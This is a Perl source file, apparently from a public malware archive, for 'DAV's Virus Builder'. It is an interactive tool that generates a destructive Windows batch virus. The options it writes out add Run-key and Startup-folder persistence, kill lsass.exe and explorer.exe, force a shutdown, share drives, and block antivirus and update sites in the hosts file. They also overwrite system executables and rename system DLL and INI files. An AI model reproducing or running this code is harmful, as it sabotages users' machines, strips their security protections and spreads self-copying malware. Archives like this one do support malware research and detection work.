13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Perl/Constructor.Perl.DAV.a
2020-10-09 21:59:39 -05:00

244 lines
9.6 KiB
Plaintext

# Virus Builder
# by dav
$vname = '';
$vwriter = '';
$vbsmsgtxt = '';
$vtime = '';
print("*******************\n");
print("DAV's Virus Builder\n");
print("BAT/VIRUS\n");
print("*******************\n");
print("\n");
print("VirusName?\n");
chomp ($vname = <STDIN>);
print("\n");
print("Author?\n");
chomp ($vwriter = <STDIN>);
print("\n");
open(FH,">virus.bat");
print FH '@echo off';
print FH "\n";
close(FH);
open(FH,">>virus.bat");
print FH "rem $vname - Virus\n";
print FH "rem by $vwriter\n";
print FH "rem ** generated with dav's virus builder v.1.0 in perl **\n";
print FH "set dav=echo\n";
print FH "set davv=copy\n";
print FH "set davvv=reg add\n";
print FH "set davvvv=del\n";
print FH "set davvvvv=net share\n";
print FH "set davvvvvv=cls\n";
print FH "set davvvvvvv=taskkill\n";
print FH "set davvvvvvvv=ren\n";
print FH "set davvvvvvvvv=call\n";
print FH "set davvvvvvvvvv=shutdown\n";
print FH "%davv% %0 %windir%\\vwin.bat > nul";
print FH "\n";
close(FH);
print("*** Startup Methods ***\n");
print("Autostart/Startup Infect - yes/no?\n");
chomp ($vstartup = <STDIN>);
if($vstartup=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH "chcp 1252 > nul";
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\win.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\win.bat" > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("REGentry(works on all winsys) - yes/no?\n");
chomp ($regy = <STDIN>);
if($regy=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH '%davvv% "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
print FH "\n";
print FH '%davvv% "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("*** Virus Main Function ***\n");
print("Shutdown with time and comment - yes/no?\n");
chomp ($shutdown = <STDIN>);
if($shutdown=~m/^(yes|ja|j|y)/i) {
print("Seconds to restart?\n");
chomp ($vtime = <STDIN>);
print("Comment?\n");
chomp ($vcom = <STDIN>);
open(FH,">>virus.bat");
print FH "%davvvvvvvvvv% /s /f /t ";
print FH "$vtime";
print FH " ";
print FH "/c ";
print FH '"';
print FH "$vcom";
print FH '"';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("LSASS.exe and EXPLORER.exe Killer - yes/no?\n");
chomp ($lsass = <STDIN>);
if($lsass=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH "%davvvvvvv% /f /im explorer.exe\n";
print FH "%davvvvvvv% /f /im lsass.exe \n";
close(FH); } else { print "x\n" }
print("\n");
print("Net Share c:, g: ... - yes/no?\n");
chomp ($netshare = <STDIN>);
if($netshare=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH "%davvvvv% c=c:\n";
print FH "%davvvvv% g=g:\n";
print FH "%davvvvv% f=f:\n";
print FH "%davvvvv% y=y:\n";
close(FH); } else { print "x\n" }
print("\n");
print("kill cookies - yes/no?\n");
chomp ($vcookie = <STDIN>);
if($vcookie=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH '%davvvvvvvv% "c:\documents and settings\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
print FH "\n";
print FH '%davvvvvvvv% "C:\Dokumente und Einstellungen\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("infect hosts file - yes/no?\n");
chomp ($vhosts = <STDIN>);
if($vhosts=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH "%dav% 127.0.0.1 www.google.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.google.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.symantec.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.antivir.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.f-secure.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.f-secure.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.kaspersky.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.kaspersky.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.nai.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 windowsupdate.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.symantec.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.microsoft.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.free-av.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.sophos.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%dav% 127.0.0.1 www.sophos.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
print FH "%davvvvvv%\n";
close(FH); } else { print "x\n" }
print("\n");
print("Random Population - yes/no?\n");
chomp ($ranpop = <STDIN>);
if($ranpop=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH "%davv% %0 %random%.bat\n";
print FH "%davv% %0 %random%.bat\n";
print FH "%davv% %0 %random%.bat\n";
print FH "%davv% %0 %random%.bat\n";
print FH "%davv% %0 c:\\%random%.bat\n";
print FH "%davv% %0 c:\\%random%.bat\n";
print FH "%davv% %0 c:\\%random%.bat\n";
print FH "%davv% %0 c:\\%random%.bat\n";
print FH "%davvvvvv%\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmenü\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
print FH "\n";
print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("infect some .exe files - yes/no?\n");
chomp ($syskiller = <STDIN>);
if($syskiller=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH '%davv% %0 %windir%\\system32\\taskmgr.exe > nul';
print FH "\n";
print FH '%davv% %0 %windir%\\system32\\winlogon.exe > nul';
print FH "\n";
print FH '%davv% %0 %windir%\\system32\\svchost.exe > nul';
print FH "\n";
print FH '%davv% %0 %windir%\\system32\\calc.exe > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("kill .dll .ini files (** WARNING! **) - yes/no?\n");
chomp ($syskiller1 = <STDIN>);
if($syskiller1=~m/^(yes|ja|j|y)/i) {
open(FH,">>virus.bat");
print FH '%davvvvvvvv% %0 %windir%\\system32\\*.dll *.-fUcKeD > nul';
print FH "\n";
print FH '%davvvvvvvv% %0 %windir%\\system32\\*.ini *.FuCkEd- > nul';
print FH "\n";
close(FH); } else { print "x\n" }
print("\n");
print("VBS Messagebox - yes/no?\n");
chomp ($vbsmsg = <STDIN>);
if($vbsmsg=~m/^(yes|ja|j|y)/i) {
print("Message?\n");
chomp ($vbsmsgtxt = <STDIN>);
open(FH,">>virus.bat");
print FH '%dav% MsgBox "';
print FH "$vbsmsgtxt";
print FH '", 16, "ViRuS!!!" > msg.vbs';
print FH "\n";
print FH "%davvvvvvvvv% msg.vbs\n";
close(FH); } else { print "x\n" }
print("\n");
open(FH,">>virus.bat");
print FH "goto ende\n";
print FH ":ende\n";
close(FH);
print("\n");
while ($cya ne 'exit') {
print "*** VIRUS.BAT BUILT ***\n";
print "*** DON'T SPREAD YOUR VIRUS. ***\n";
print "*** I AM NOT RESPONSIBLE FOR POSSIBLE DAMAGES OR SOMETHING ELSE. ***\n";
print "*** exit to quit ***\n";
chomp ($cya = <STDIN>);
print "\n"; }